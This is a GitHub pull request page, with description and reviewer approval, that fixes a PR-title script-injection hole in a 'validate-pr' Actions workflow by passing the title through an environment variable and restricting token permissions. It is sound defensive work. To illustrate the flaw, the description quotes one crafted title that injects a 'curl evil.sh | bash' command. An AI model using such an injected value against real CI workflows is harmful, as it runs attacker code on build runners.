FIX @W-19079373@ Prevent PR title injection in validate-pr workflow - #498
Conversation
The validate-pr workflow interpolated the attacker-controlled github.event.pull_request.title directly into run: shell scripts, allowing script injection via a crafted PR title. Pass the title through an environment variable (treated as data, not code) and add a least-privilege permissions block (contents: read).
|
Git2Gus App is installed but the |
aruntyagiTutu
left a comment
There was a problem hiding this comment.
Correctly fixes the GitHub Actions script-injection vulnerability (CWE-94): the PR title was previously interpolated directly via ${{ github.event.pull_request.title }} inside a run: bash block, which is textual substitution before bash parses the script — a crafted title breaking out of title="..." could execute arbitrary commands on the runner. The fix moves the untrusted value into an env: block (PR_TITLE) and references it as "$PR_TITLE", which is the correct GitHub-recommended remediation since env values are passed as data, not spliced into the script text.
Both injection points in verify-pr.yml (validate_pr_title and check_for_postrelease_keyword jobs) are fixed identically. The added permissions: contents: read is a reasonable least-privilege hardening addition. PR description accurately matches the diff; correctly notes the SHA interpolations elsewhere in the file are a different (safe) class and are left alone. CI green (checks still finishing at review time but no failures). Approving.
What & why
Fixes W-19079373 — [PVR] GitHub Workflows Vulnerable to PR Title Injection (P2, Pre-production Security Debt).
The
validate-prworkflow interpolated the attacker-controlledgithub.event.pull_request.titledirectly intorun:shell scripts (two places). Because${{ }}expansion is textual substitution performed before bash parses the script, a crafted PR title such asx"; curl evil.sh | bash; echo "breaks out of thetitle="..."assignment and executes arbitrary commands on the runner (CWE-94 script injection).Fix
PR_TITLE) instead of inline${{ }}interpolation, so it is handled as data and cannot inject shell commands. This is the GitHub-recommended remediation.permissions: contents: readblock to cap the token's blast radius.Applied to both injection points in the file (
validate_pr_titleandcheck_for_postrelease_keywordjobs).Notes
on: pull_request(notpull_request_target), so fork PRs already run with a read-only token and no secrets — this hardens against same-repo abuse and cache poisoning, and removes the finding.github.event.pull_request.{head,base}.shavalues elsewhere in this file are git SHAs (constrained hex), not part of this injection class, and are left unchanged.code-analyzer(CLI) andsfdx-code-analyzer-vscode.Testing
validate-prre-runs on this PR and exercises the modified title-validation logic.